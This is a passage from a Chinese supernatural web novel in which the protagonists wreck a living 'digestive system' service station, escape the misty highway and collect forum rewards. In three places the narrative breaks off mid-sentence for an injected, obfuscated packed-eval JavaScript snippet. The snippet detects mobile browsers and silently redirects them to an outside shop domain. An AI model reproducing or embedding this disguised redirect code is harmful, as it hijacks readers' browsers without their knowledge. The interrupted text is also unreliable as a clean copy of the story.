他的动作飞快,几下便冲进了协调室。 很快,他将惊魂未定的余子夜,以及紧紧抱着她脖子的妞妞接了下来,顺着管道滑落,常岚精准地操控车辆接应。 常岚握着方向盘,回头看了一眼众人: 现在就差最重要的一个! 小小的垃圾转运车后厢挤满了人,弥漫着血腥、汗臭和垃圾的味道,但每个人的眼神都不再迷茫和痛苦。 “坐稳了!”常岚低喝一声,垃圾车发出不堪重负的轰鸣,沿着红绳指引的方向,在剧烈震颤、如同巨兽濒死痉挛的通道内,冲向风暴的中心——酿造之间! 沿途,肉壁大面积破裂,管道如同断裂的血管喷溅着不明液体。偶尔有零星的、反应迟钝的肉触手试图阻拦,都被站在车厢边的江大河用长杆狠狠扫开,或被常岚驾车以狂暴的姿态直接撞碎、碾过! 他们就像一枚射入腐烂心脏的子弹,义无反顾。 终于,那扇布满裂纹、能量场极不稳定的大门出现在眼前,门内风暴的呼啸声震耳欲聋。 “门被堵住了!”眼尖的余子夜焦急喊道。 常岚目光一扫,看到了门上方那条因震动而破裂、正像扭曲巨蟒般挡在门前的巨大收集管道。 袖子下的红绳越发灼热。 “没时间清理了!我们撞进去!”他对众人吼道,同时猛打方向盘,将垃圾车锈蚀却异常坚固的车头,对准了大门和那些盘踞的管道。 所有人神色紧绷,死死抓住身边任何能固定的东西! “冲过去!” 常岚一脚将油门踩到底!引擎咆哮到了极致!垃圾转运车如同燃烧最后生命的钢铁巨兽,携带着一往无前的惨烈气势,狠狠撞向那些挡路的障碍! “轰隆——!!!” 在管道扭曲的巨响中,门板连同部分门框向内崩飞!更加狂暴的血色龙卷风和刺目的金光如同决堤的洪水般涌出! 众人看到了那末日般的景象——血池化为吞噬一切的漩涡充斥着整个空间,季青那被金色蝴蝶围绕的身影在边缘载沉载浮,即将被彻底卷入中心! 常岚在车还未完全停稳的瞬间,已如离弦之箭般扑出!他手腕上的红绳灼热如火,为他指引着精准的方向。 他无视撕裂般的能量乱流,脚踏在翻涌的池边,身形如电,在千钧一发之际,一手将七星剑死死钉在地上,另一手抓住了季青奋力伸出的、几乎脱力的手! “抓住!” 他大吼一声,强大的力量爆发,硬生生将季青从血色漩涡的边缘拽了回来,两人踉跄着跌落在狼藉的地面上。 季青剧烈地咳嗽着,浑身湿透,狼狈不堪,但看到围拢过来的、同样伤痕累累却目光灼灼如同星辰的伙伴们。 尽管嘴角还带着血沫,可她还是不自觉地、发自内心地微笑起来。 常岚扶着她站起,目光扫过众人,最后落在那仍在翻腾但已显颓势的血色漩涡上。 他脸上露出了一个极其少见、带着血性与不羁的笑容,仿佛刚刚完成了一场酣畅淋漓的角力。 “都没事吧?”季青深吸一口气,压下喉咙里的腥甜,拍了拍常岚的肩膀以示感谢,然后抬起眼睛,环视着每一张坚定的面孔—— 她的声音虽然沙哑,却带着一种洞悉一切的清晰与力量: “这里的规则,这里的全貌,我已经想明白了!!” 她眼中闪耀着星火—— “反攻的时候到了!” 35. 迷雾公路(十) 酿造之间的震颤并未因经理的消亡而停止,反而愈发剧烈。 墙壁上那些搏动的管线如同垂死的神经,疯狂闪烁,明灭不定。血池中的漩涡依旧散发着不祥的呜咽,整个空间弥漫着规则被强行撕裂后的混乱。 常岚扶着虚弱的季青,余子夜、江大河、吴晴、王四洲和妞妞紧紧围拢过来,每个人都显得格外狼狈,但眼神中求生的火焰未曾熄灭,反而因局势的剧变而燃烧得更加炽烈。 “这里到底发生了什么?那个经理呢?”余子夜率先打破沉默,她的扭头扫过狼藉的地面,环视剧烈波动的酿造室,这里已无经理存在的丝毫痕迹。 季青靠在常岚身上支撑着身体,她的声音沙哑却清晰:“经理……他败给了他自己一直利用的‘规则’。但更重要的是,我们所在的这个地方,其本质,远比我们想象的更古老,更残酷。” 她深吸一口气,仿佛要汲取力量来阐述那个骇人的真相。 “我们从踏入迷雾开始,就不是简单的‘误入灵异之地’。我们是被一个活着的、巨大的消化系统给吞没了。” 这个结论让众人呼吸一窒。 季青继续解释,语速加快,带着一种引上课时教授学生的循循善诱:“我们被烙上的印记——比如我的‘孽业印’,均以‘业’命名。” 按帖子中被核实到说法,不同的“业”代表着众人对诡异接触程度的深浅。瓠犀高速收费站将以众生与此地的联系分其等次,烙以印记,正是佛教中因果论的一种延伸。 而在佛教宇宙观里,六道轮回本身就是一个巨大的、不断‘消化’业力的系统!众生在其中被各自的业力牵引、转化、吞噬! 她的目光锐利地扫过众人惊愕的脸:“再回想我们经历的一切,答案就在谜面上。” 季青的手指点在唇边: “瓠犀高速收费站中的‘瓠犀’二字,正是古人对牙齿的一种代称。从天而降的铁栅栏,或许并不是在拦截大家,而恰好是需要‘咀嚼’通过,正像是牙齿和口,它在筛选、咬碎这些‘食物’。” 季青将手指逐渐下移到脖颈: “而我们所行驶其上的公路,正是运送食物的通道,也就是食道!” 手指继续向下—— “直到这里,‘太仓服务站’!” 她用力碾了碾脚下震颤的地面,“太仓也是胃的一个古称,这蠕动的肉壁,这分工明确的加工区域,组成了一个庞大的胃。” “我们在进行所谓的‘工作’,本质就是在协助这个胃囊进行消化:余子夜和妞妞在协调室感应的‘能量波动’,标记‘异样’,正是这个消化系统的感知神经在定位猎物,协调‘捕食’。” “江警官搬运的‘货物’,王四洲分拣的‘原料’,吴晴包装的‘产品’……这哪里是生产?这是消化流程,是将‘食物’分类、分解、吸收的过程!” “那些红雾,”她指向池中狂暴的暗红血池,“它们就是消化液!具有腐蚀、分解、同化的特性,如同饿鬼道中能将一切化为痛苦的业火!” 最后,季青看向常岚:“常岚所在的垃圾处理间,将所有残渣粉碎、整合处理,估计就是为了送到我们还未曾知晓的‘肠道’区域,进行最后的吸收,直至榨干其所有营养。” 她的话语如同冰冷的楔子,将恐怖的现实牢牢钉入每个人的认知。 “那我们……我们是在一个活着的、堪比饿鬼道甚至地狱道的消化轮回里?”余子夜的声音带着一丝颤抖。 “不错。”季青微微点头,“我们,以及所有被筛选的进入者,都是这个轮回消化系统中的‘食物’,被各自的‘业’牵引至此。然后被咀嚼、被消化、被吸收,直到彻底失去自我,成为这系统的一部分!” “经理所谓的‘价值’,就是我们在被消化过程中所能提供的‘营养’!” 余子夜再次环视着这颤动着的血肉工厂,季青那基于轮回观的解读,让眼前的恐怖超越了物理层面,带上了一种宿命般的、令人灵魂战栗的绝望感。 “那……那我们岂不是死路一条?就像坠入轮回,永世不得超生?”王四洲面如死灰。 “不!”季青再次握紧胸前的三角护身符,“即使是六道轮回,也有逆天改命、跳出三界的法门!” “既然这是一个模仿轮回的畸形消化系统,那就一定遵循着消化系统的规则!” 她挣脱常岚的搀扶,站直身体: “那么,就只剩下一个办法——成为它无法消化的‘病灶’,让它肠胃不适,让它剧烈痉挛,把它吃到肚子里的东西,全都吐出来!” “就像生病时会‘呕吐’一样!”江大河瞬间理解,一拍脑门,露出恍然大悟的神色,“人吃了已经变质的东西,不消化,还难受得紧,就得吐!” “对!”季青重重点头,“我们要在这个‘胃’里,掀起一场风暴!破坏它的秩序,干扰它的循环,让它觉得消化我们成本太高,甚至可能损伤自身!” “让它启动自我保护机制,把我们从食道原路吐出去!” 计划既定,刻不容缓!常岚拔起七星剑,他能感到系统的不稳定正在加剧。 经理已经死亡,但他能感觉到经理不是这个怪谈的核心,不排除会马上有新经理接任的可能。 必须利用规则冲突瘫痪的这段时间,在这里的规则再次生效前迅速行动! 众人很快达成共识,季青语速快如子弹:“我们分工去破坏它,然后在大厅集合,一起出去!” “余子夜和妞妞,你们先去找‘神经中枢’或者能量节点,尽量扰乱它!让这个‘胃’变成瞎子和聋子!” 余子夜决绝地点点头,抱着妞妞,凭借微弱的感应,冲向一条剧烈痉挛的肉膜通道。 “江警官,吴晴,王四洲!你们回加工包装区!毁掉一切能毁掉的!打烂传送带,摧毁工作台,把秩序搅成混沌!” “早就等不及了!”江大河大吼一声,手中长杆化仿佛作长枪,一马当先冲了出去。吴晴和王四洲对视一眼,压下恐惧,赶忙紧随其后。 “而我们……”季青先看向常岚,又低头望着那再次开始不安翻涌的血池,感受着手背【无间甘霖】印记的灼热—— 她要让这“胃酸”,倒流回它的喉咙! 众人如同四散的火种,瞬间投入这片血肉工厂的各个角落,点燃叛乱的烽火! 加工区内,江大河如同魔星降世,长杆不再是扫开障碍,而是化作毁灭的风暴! 他猛地将长杆插入传送带下方,怒吼一声,全身肌肉贲张,竟凭借蛮力将一整段沉重的传送带硬生生撬起、撕裂! 齿轮爆碎,扭曲的金属发出刺耳的哀鸣,上面的“肉块”和“器官”如雨般抛飞。几条肉触手疯狂抽来,江大河不闪不避,长杆一个凶悍的横扫,带着千钧之力,将触手齐根打断,腥臭的汁液喷溅在他刚毅的脸上! 包装区内,吴晴不再是麻木的工人,她抓起工作台上那些柔韧的生物薄膜,胡乱塞进流水线,直到将流水线卡死。还将那些包装好的“产品”扔进旁边的管线和通道,用脚疯狂践踏,仿佛在践踏这该死的命运。 王四洲起初还有些手软,但看到一条肉触手悄无声息地袭向吴晴后背,他眼睛瞬间红了,抄起旁边一个沉重的金属箱子,咆哮着砸了过去! “砰!”箱子将触手砸得汁液横飞,也砸碎了他心中最后的怯懦,他加入了破坏的行列,和吴晴以及其他被鼓舞的工人一起,将这里变成了狂暴的战场! 能量中枢方向,传来比之前更猛烈的爆炸声和肉壁被撕裂的可怕声响。 余子夜和妞妞则双手按在虚拟屏上,额头沁出细汗,竭尽全力感知着能量节点,制造混乱,扰乱着赶来增援的幽灵车流。 酿造之间内,常岚的身影在明灭不定的光影中穿梭,七星剑每一次挥出,都精准地切断一条搏动最剧烈的核心管线! 而季青则是将那些被切断的管线,通通对准血池! 管线中不知原本应该传送进哪里的能量,如同一锅乱炖,被季青一股脑倒进血池—— 池中的红雾不再是旋转,而是沸腾!如同被投入滚油的冰块,剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583468|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈反应,炸开无数狂暴的气泡!暗红色的能量疯狂冲击四壁,一条条收集管道不堪重负,接连爆裂! 浓郁如血的消化液反向喷射,腐蚀着房间的一切,甚至开始侵蚀墙壁本身的结构!整个酿造之间仿佛变成了一个即将爆炸的高压锅! “轰隆——!!” 脚下传来的嗡鸣变成了痛苦到极致的哀嚎!整个服务站的痉挛达到了顶点!肉壁不再是抽搐,而是开始了疯狂的、毫无规律的扭曲和折叠! 大量的通道开始剧烈收缩,然后又猛地扩张,一些地方甚至出现了诡异的逆流——原本流向深处的粘液和破碎物,此刻混合着失控的红雾,反向朝着来路涌去! 一股无法抗拒的、狂暴的斥力猛地作用在酿造之间,季青差点被拍在墙壁之上! 这就在季青即将撞上墙壁的刹那,一道身影如闪电般撕裂翻涌的红雾,常岚疾冲而至,手臂一揽,精准地将她拽离险境! 巨大的肉块几乎是擦着季青的后背轰然砸落,粘稠的液体四处飞溅。 “走!” 常岚在季青耳边低低催促一声,声音在震耳欲聋的崩解声中依旧清晰。 他半扶半抱着几乎脱力的季青,脚步毫不停滞,沿着剧烈痉挛、不断收缩的通道向出口冲去,脚下的“地面”如同活物般起伏,每一步都像踩在巨兽疼痛翻滚的肠胃上。 那辆锈迹斑斑却异常坚固的垃圾转运车,就停在前方不远处,如同暴风雨中最后的诺亚方舟,车身在空间的震颤中发出吱嘎作响的呻吟。 “快上车!”常岚一把拉开车门,几乎是用力将季青托了上去,自己则迅速翻身跃入驾驶室。引擎发出一声嘶哑的咆哮,仿佛也感受到了末日的迫近。 “去接他们!”季青强忍着眩晕,抓住椅背喊道。 常岚猛踩油门,垃圾转运车在扭曲变形的通道内甩尾、冲刺!车灯劈开混乱的红雾与飞溅的粘液,照亮前方—— 只见加工区和包装区的方向,江大河一马当先冲了出来,他浑身浴血,手中的金属长杆已经弯曲,却依旧散发着骇人的煞气。他身后,吴晴和王四洲互相搀扶着奔跑,脸上混杂着恐惧和疲惫。 更远处,常岚看到余子夜抱着妞妞,正沿着一条剧烈抖动的管道滑下,显然是刚刚突围而出。 “这边!”常岚一个极限漂移,将车辆横甩过去,车门打开! “都上来!”江大河狂吼一声,率先如同炮弹般撞入车厢,沉重的身躯让车子猛地一沉。他立刻回身,伸出粗壮的手臂——吴晴和王四洲几乎是同时扑到,被江大河一手一个,如同拎包裹般猛地拽上车! 另一侧,常岚已经推开车门,探出大半个身子,精准地接住了从管道滑落的余子夜和妞妞,将她们迅速拉进副驾驶座。 “人齐了?!”季青急促地问,目光扫过车厢内一张张惊魂未定的脸。 “齐了!”江大河用嘶哑的嗓子确认。 就在他话音落下的瞬间—— “呕——!!” 一声无法用言语形容的、仿佛来自远古洪荒巨兽暴怒的恐怖干呕声,从地底、从肉壁、从虚空的每一个角落轰然爆发! 天旋地转! 不再是比喻!整个空间开始了疯狂的、失去任何规律的扭曲和折叠!他们脚下的“地面”猛地向上拱起,又将他们狠狠抛向一侧! 垃圾转运车如同惊涛骇浪中的一片树叶,被一股无可抗拒的、混乱狂暴的排斥力裹挟! 肉壁成片地崩塌、溶解!无数管道如同断裂的血管般粉碎、喷射出最后的汁液! 失控的红雾不再是消化液,反而像是巨胃痉挛时反刍出的酸腐洪流,裹挟着破碎的肉块、扭曲的金属、以及他们这辆渺小却又顽强的车辆,向着布满裂纹的壁垒狠狠冲去! 视线彻底模糊,感官完全失效,只剩下无尽的混乱、震耳欲聋的崩解声,以及那仿佛要将五脏六腑都挤压出来的恐怖压力。 他们,连同这破碎的痛苦与混乱,被这无法承受的消化系统,以一种最粗暴、最原始的方式,呕吐了出去—— 36. 迷雾公路(十一) 冲击让季青下意识闭上眼,只余耳边充斥着的,同伴的尖叫、呼啸的风声、钢铁的碰撞声…… 但很快,一种滑滑梯般的失控感掌控了季青的身体,垃圾转运车早已不是行驶在坚实的路面上,而是被裹挟在一道由蠕动的公路盘旋构成的狭窄通道中,以近乎垂直的角度向下俯冲! “抓紧——!”常岚的喊声在狭窄的驾驶室里被震颤得不成语调,他死死把住方向盘,试图在这完全失控的滑行中维持住垃圾转运车的方向或者平衡。 但这根本无济于事,车辆像飓风中飘摇的尘埃,完全被狂暴的力量所主宰。 车窗外不再是公路或服务站的景象,而像是某种“生物”体内:暗红色的、搏动着的肉壁以惊人的速度擦着车窗掠过,上面沾满了粘稠的分泌物,粗大的类似血管或神经束的管道在肉壁间穿行—— 这些组织一部分因为剧烈的痉挛而破裂,喷溅出黄绿色的组织液或是暗红的血水,糊在车窗上,瞬间又被高速滑行产生的气流刮开。 车厢内,所有人都被这超越想象的体验折磨着。 “哇——救命、救命啊啊啊啊!” 王四洲第一个忍不住,扒着车窗边缘剧烈呕吐起来,尽管他胃里早已空空如也;吴晴将妞妞的头按在自己怀里,用自己的身体为她抵挡大部分冲击,但她自己的脸色也惨白如纸;余子夜也死死闭着眼,双手紧紧抓住任何能固定住的东西,指关节因为用力而发白;江大河则瞪圆了眼睛,嘴里不干不净地咒骂着,似乎唯有这样才能宣泄内心的惊骇。 季青一只脚死死蹬住前方的座椅靠背,另一只手牢牢抓住车门上的把手,整个人像一张拉满的弓。她感觉自己像被塞进了一个高速运转的绞肉机,连五脏六腑都移了位。 她的余光瞟见常岚的后背衣衫已被汗水浸透,双手仍紧握着方向盘,手臂青筋暴起。这不像是驾驶,而像是在对抗一股无法形容的超自然力量: 一股来自巨兽体内、要将他们彻底清除出去的力量。 垃圾转运车此刻变成了过山车,猛地加速,带来强烈的失重感,仿佛直坠深渊,可很快又被无形的力量狠狠挤压、拖拽,产生令人窒息的压迫感。 垃圾转运车在通道内疯狂旋转碰撞,金属外壳与肉质通道摩擦,发出令人牙酸的“嘎吱”声和湿滑的“噗嗤”声,仿佛随时都会散架。 眼前的景象简直可以用诡谲多变来形容,时而陷入一片粘稠的黑暗;时而又能看到四周肉壁上密密麻麻的、如同瘤疤般的凸起;时不时还一些尚未被完全消化的、扭曲的金属和不明碎片一闪而过。 这简直就是一场在巨物体内疯狂到极致的死亡游乐! 不知过了多久,也许只有几十秒,也许有一个世纪那么长,前方突然出现了熟悉的建筑—— 瓠犀高速收费站! 挤压着垃圾转运车的肉质“公路”剧烈颤抖着,仿佛经历着痛苦的痉挛! “要出来了!抓稳啊!!”季青用尽力气喊道。 众人无一例外都死死抓紧眼前勉强还算稳固的地方,等待着最后的冲刺。 “哐——!” 垃圾转运车被一股无比粗暴的推力,猛地从令人窒息的“肉质公路”中喷射了出去!笨重的垃圾转运车被高高抛起,越过了收费站那巨大的钢铁闸门,一口气冲出了雾气—— 只刹那间,所有的挤压感、滑腻感、和雾气那腐败的气息都消失了。 取而代之的,是混合着尘埃味道的空气;是钢铁与坚实粗糙的沥青路面剧烈摩擦发出的刺耳声响;是久违的闪耀的星空…… 垃圾车冲出瓠犀高速收费站后,在惯性的作用下继续向前滑行了十几米,轮胎在路面上留下焦黑的痕迹,最终车头一歪,险险地翻在了公路的路肩上。 引擎盖下冒出缕缕青烟,垃圾转运车发出不堪重负的噪音,和车厢内众人粗重得如同风箱般的喘息声混杂在一起。 好一会儿过去,众人才逐渐反应过来,常岚和江大河分别推开两扇车门,将其他人挨个拽出已经扭曲变形的车厢。 季青被搀扶着下车,接触到地面时双腿一软,差点跪倒在地,她扶着车门,贪婪地呼吸着郊区夜晚干净的空气,抬头望去,天空是灰蒙蒙的,太阳还未能升起,但头顶的星光恒远却真实。 他们正身处一条看起来年久失修的公路边缘,两旁是枯黄的杂草和光秃秃的树木,远处能看到低矮的山丘轮廓,旁边竖着A市和b市的界碑。 平凡,破败,却正常得让人简直要落泪。 瘫坐在公路边的每个人都像是从地狱血池里捞出来的一样,浑身沾满半干涸的黏液、血污,脸色苍白,眼神中还残留着未散的惊悸。 而那辆垃圾转运车后方,那个他们被“吐”出来的地方,却空无一物。 没有高速收费站,没有肉壁,只有正常的公路向前延伸,仿佛刚才的一切都只是幻觉。 “我们真的出来了?”王四洲不可置信地环顾着四周,他突然紧紧抱着妻子和女儿,身体不受控制地发抖。 “出来了。”江大河啐了一口带血的唾沫,环顾四周,眼神依旧警惕,但紧绷的神经明显松弛了一些。 “这鬼地方,真是再也不想进去第二次。” “那江警官有没有想过这个‘鬼地方’,到底是哪里呢?” 季青突然的发问,将大家的好奇心勾了出来,大家不自觉地朝季青围拢,季青靠在锈迹斑斑的车身上,目光扫过劫后余生的伙伴们,声音因脱力和激动而微微发颤。 “我们出来了……但大家想过没有,既然那是个‘消化系统’,就一定是某个东西身体的一部分,那它的‘本体’在哪里?” 众人你看看我,我看看你,眼神困惑。 季青深吸一口气,说出了那个令人毛骨悚然的结论: “是A市。” “A市本身,就是那个巨大的怪谈,那个活着的、需要不断进食的‘本体’。” 她看着众人骤变的脸色,继续解释道:“我们被吞食,那条迷雾公路,那个服务站,那些血肉通道都是在它的体内。所以,我们在里面见不到真正的阳光,因为那是在一个活物的腹腔之内!阳光无法穿透!” “而我们这些能在A市感知到诡异、被卷入其中的人……”季青的声音低沉下去,“我们早就被它标记了。” “只要发现存在于A市的诡异,并逐渐加深与它们的联系越深,就越难以自拔,最终都会像食物一样,被它消化、吸收,成为维持它存在的养料。” 晚风吹过,明明是炎热的夏天,此刻风吹在众人身上,只让人遍体生寒。 原来他们不是偶然闯入,他们是早已被选中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590446|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祭品,他们出生、成长、扎根的城市,居然本身就是一个巨大的、潜伏的掠食者。 沉默在蔓延,可路边荒地的虫鸣却欢快鸣叫,头顶星光闪烁,世界依旧在按照它自身的规则运行,与侥幸劫后余生的几人无关。 良久,王四洲颤抖着开口,他紧紧握着吴晴的手,看了一眼还在妻子怀里昏睡的妞妞: “我们一家,还是按计划去B市。立刻,马上!再也不回A市了!” 他的语气充满了后怕与决绝。对于他来说,按照原计划带着家人逃离这个可怕的源头,是唯一的选择。 吴晴看着丈夫,眼中含着泪,重重地点了点头,过了一会又看看季青他们,小心翼翼地开口: “你们是我们一家的救命恩人,如果你们也要走,可以来B市,我们家可以给你们在那边介绍工作。我老公没什么本事,但是人很善良本分还会挣钱,我们会尽力报答你们……” 季青理解地看着他们,普通人面对这种超越认知的恐怖,逃离是本能,是明智之举。 然而,她的目光转向常岚,常岚也正看着她,眼神平静,却带着一种无需言说的默契。 季青又看向余子夜,余子夜也轻轻拍了季青的肩膀,虽然脸色依旧苍白,却低声而坚定地说:“我不走,我可是人气灵异电台的主持人兼记者兼运营兼脚本兼后期……我靠这个吃饭呢。” 江大河这个硬汉刑警啐了一口,咧嘴露出一个比哭还难看的笑:“好不容易找到害我降职的真凶,真相近在眼前,怎么能临阵脱逃!” 季青点了点头,她知道,自己也是如此。 自己的记忆、护身符的秘密、规则的真相,以及这笼罩整个A市的巨大怪谈……她无法置身事外。 即使知道再次深入可能再也没有出来的机会,她也必须回去。 “我们回去。”季青的声音不大,却带着不容置疑的力量,“回A市。” 没有豪言壮语,只有简单的三个字,却重若千钧,他们明知前方是吞噬一切的巨口,却要主动再次踏入。 王四洲和吴晴看着他们,眼神复杂,有敬佩,有担忧,更多的是一种仿佛看着赴死之人的悲悯。他们知道,这一别或许就是永诀。 最终,王四洲一家三口,带着劫后余生的庆幸与对未来的惶恐,拦下了一辆路过前往B方向的顺风车,消失在了公路的尽头。 而季青、常岚、江大河、余子夜,站在A市和B市的界碑旁,沉默地望着A市所在的方向。 那里,灰蒙蒙的天空下,城市的轮廓在远处若隐若现,如同一个匍匐着的沉睡巨兽。 他们刚刚从它的胃里被吐出来,此刻,却要再次走向它的血盆大口。 余子夜搂着季青,问道: “季青你呢,你为什么要留下?” 季青面无表情地掏出手机: “我还得上班,过两天A大有暑期学术会议,秦教授又把杂活安排给我了。” 余子夜震惊地看着季青平淡的表情,又扭头望向常岚: “你呢?道士暑假也加班?” 常岚面无表情地掏出手机: “不然呢,还有比A市生意更好的地方吗,诡越多钱越多啊。” 此刻,季青和常岚都在想着,也做着同一件事—— 打开那个诡异论坛。 37. 此身与大地相连(一) 以界碑为线,几人先是站在了B市的地界尝试登录诡异论坛,很快屏幕上出现了熟悉的提示窗口:【您访问的页面不存在】 季青一边刷新着论坛网页,一边朝A市的方向走去。 果然,一跨越界碑,论坛就可以正常登录了。 季青朝众人点点头,重申了自己之前的看法:现在可以确定,这个诡异论坛是基于A市服务器,或者说基于A市本身存在的,是一个独属于A市的怪谈监控、甚至管理系统。 “诡异论坛居然也能成为A市特产,该说不愧是怪谈之都吗?” 余子夜正兴奋地在界碑两边走来走去,还掏出自己那劫后余生的摄影机打算记录下这奇妙的瞬间—— “啊????” 众人在余子夜极度悲伤的喊声中围拢过来,只见她欲哭无泪地把相机翻来覆去地检查,嘴里还念叨着:“不见了,我们一路上拍的视频都不见了?!” 江大河结果摄像机简单看了一下,确实没有任何影像被保存下来:“还真的没有,该不会摄像机或者内存卡出了什么问题吧?” “不可能!”余子夜接回摄像机:“我在加油站还检查过!那个时候还能看到之前录的视频,摄像机也没有报错……” 她又拿起摄像机当场随便录了几秒,然后把刚刚录制的视频拿给大家看,确实也没有问题。 余子夜蹲在地上垂头丧气地嘟囔:“怎么只有最重要的部分丢了!没有视频佐证,我的午夜电台节目不就和那些道听途说的诡故事电台没有区别了吗!” 江大河蹲下来安慰她:“没关系,你以前也没接触过怪谈,本来就是在道听途说,电台不也做的好好的吗。” 还没等余子夜翻起白眼,常岚也蹲下来补刀:“而且录了一整天,内存卡还和新的一样,血赚啊。” 季青看着蹲在地上开玩笑的三人,心情也逐渐放松起来,但一些疑问仍然像乱麻一样堵在心头。 她还有其他的发现——离界碑越近,季青挂在胸口的三角护身符就越是微微发热,仿佛在回应着什么。 这个写着“季青”“季绯”两个名字,有着守护规则力量的护身符,绝对和A市有着某种还未探明的联系。 看着季青思索的神情,常岚站起身走到界碑旁,拍了拍界碑,朝季青说道:“季老师,还有一件事。” 他轻巧地越过界碑,来到B市的地界,将七星剑伸手横放在面前,接着果断松开了手—— 七星剑没有坠落,而是急速凭空飞起,随常岚指尖的指挥在空中画出流星一样灿烂的金色轨迹,带着极为强劲的剑风,将路边的行道树的枝干都刮得直直向一边倒去。 余子夜忍不住掏出摄像机拍起来:“这个好酷!常岚你有这个本事怎么没见你在我们进公路的时候用过!” “这就是问题的关键。”常岚并指微微往回一勾,七星剑带着前所未见的灿灿金光直直飞回,却如同遇到什么屏障一样,在穿过界碑后急速滑坠,在快要挨到地面的时候被常岚用脚面接起,送回了剑鞘。 “在A市这边的范围里,不只是怪谈中的诡异,连我和七星剑的力量都感觉被压制住了。”常岚晃了晃已经入鞘的七星剑,“像是某种……结界?说不太清楚,但总觉得这也像是一种规则。” 季青揉了揉眉心,说出了大家心中隐隐不安,却又不想面对的残酷猜想: “简直是像把诡异和人类关进了一个压制住力量、利用规则厮杀的斗兽场……” 气氛凝重起来,季青看了看手腕上的机械表,又微微抬起来,可此时天边已经开始微微泛出天光。 “马上就要日出了。”季青晃了晃手上的手机,“还是先看看我们这次的‘战绩’吧。” 余子夜闻言嘴角都克制不住,简直要飞起:“就是就是,让我看看,升级有没有什么福利呀!” “没有,只是可以解锁一点点平台上的普通功能罢了。” 季青解释完,微微歪了歪头—— 真的太抠门了,死里逃生都不给一点奖励,斗蛐蛐赢了还得给蛐蛐加餐呢。 但凡奖励一点现金,季青也就不用白天苦哈哈打工,晚上苦哈哈杀诡了——改成全天候杀诡,争当A市业务第一的管理员,感觉比在A大当助教有前途。 季青一边瞎想,一边手里也没停下,屏幕上金色的弹窗随着点击如约而至: 【怪谈信息结算中……】 怪谈名称:食欲之渊 怪谈状态:已归档 危害等级:???级 探索程度:???% 综合评分:A级 跳出的界面让几人都摸不着头脑。 余子夜这个不久前刚注册的新用户,看着这个满是问号的页面,露出了一脸匪夷所思的表情: “是我网卡了,还是就是会跳出这种页面啊??” 江大河这时正反复刷新着页面,听余子夜这么说,才抬起头来看着大家,却发现大家的脸上也都是问号。 “如同刚刚所说,如果这次遇到的迷雾公路怪谈实际上是A市的一部分,那么作为A市怪谈管理系统的论坛,难以给本体定级,或者以我们的等级还不能……” 季青叹了口气,但脸上并不是失望的神色,她微笑着说:“我们终于见识到了‘不可见’的一角,迟早有一天,一定也可以认识到它的全部……” “那也许是值得高兴的一件事,我们该不会是第一批见识到的人吧,虽然没有视频,但我还是要做独家报道!”余子夜听季青这么一说又来了劲头,飞快点击到下一页。 胸口的三角护身符传来阵阵温热,季青摩挲着护身符,深吸一口气,也点开了下一页—— 【个人奖励结算】 基础生存奖励:顺利逃脱(+400经验值) 核心谜题破解:破解红雾工厂机制(+300经验值) 支线任务达成:在红雾工厂完成本职工作(+200经验值)阻挠消化的进行(+200经验值) 协作支援加成:与搭档配合默契(+100经验值) 达成隐藏成就:[未完成的公路旅行]:在一个消化周期内未被消化——旅途的尽头回环至开头,等待有朝一日故地重游(+100经验) 个人评分:S级 虽然这次季青只是逃脱,而非解决这个怪谈,但或许是这次面对的怪谈量级实在太大,这次不仅没有影响季青的个人评分,甚至还获得了前所未有的大量经验。 金色的审计提示框如约而至—— 【管理员等级提升:LV.3-LV.4】 【权限解锁】: 管理员-私信:您现在可以主动私信等级不高于您的论坛用户和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605536|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他管理员。 管理员-直播:您现在可以后台观看用户在论坛进行的直播,并在其破坏相应规则时对直播间进行封禁。 势力关系提升: [凝真观-羁绊]您与凝真观当代传人常岚建立了特别的羁绊关系,血色之线将牵引他要去的方向。 [子夜异闻电台-信赖]您与A市人气午夜电台的主理人余子夜建立了值得信赖的伙伴关系,现在可以向她打听A市大街小巷的都市怪谈了。 [A市警察局-友好]您与A市警察局的资深刑警江大河建立了良好的伙伴关系,必要时可以向这位热心刑警寻求帮助了。 这时,季青和常岚忍不住面面相觑。 他们等级本来就差不多,这一大波经验,更是刚好让两人都首次解锁了直播间权限。 见常岚也是一脸疑惑,想来是也从来没听说过这个诡异论坛居然还有直播间功能。 季青忍不住问道:“江警官,你知道这个直播间是怎么回事吗?” 江大河摸了摸下巴,思索了一下:“我今天也是第一次解锁直播间,以前没有自己试过这个功能。” 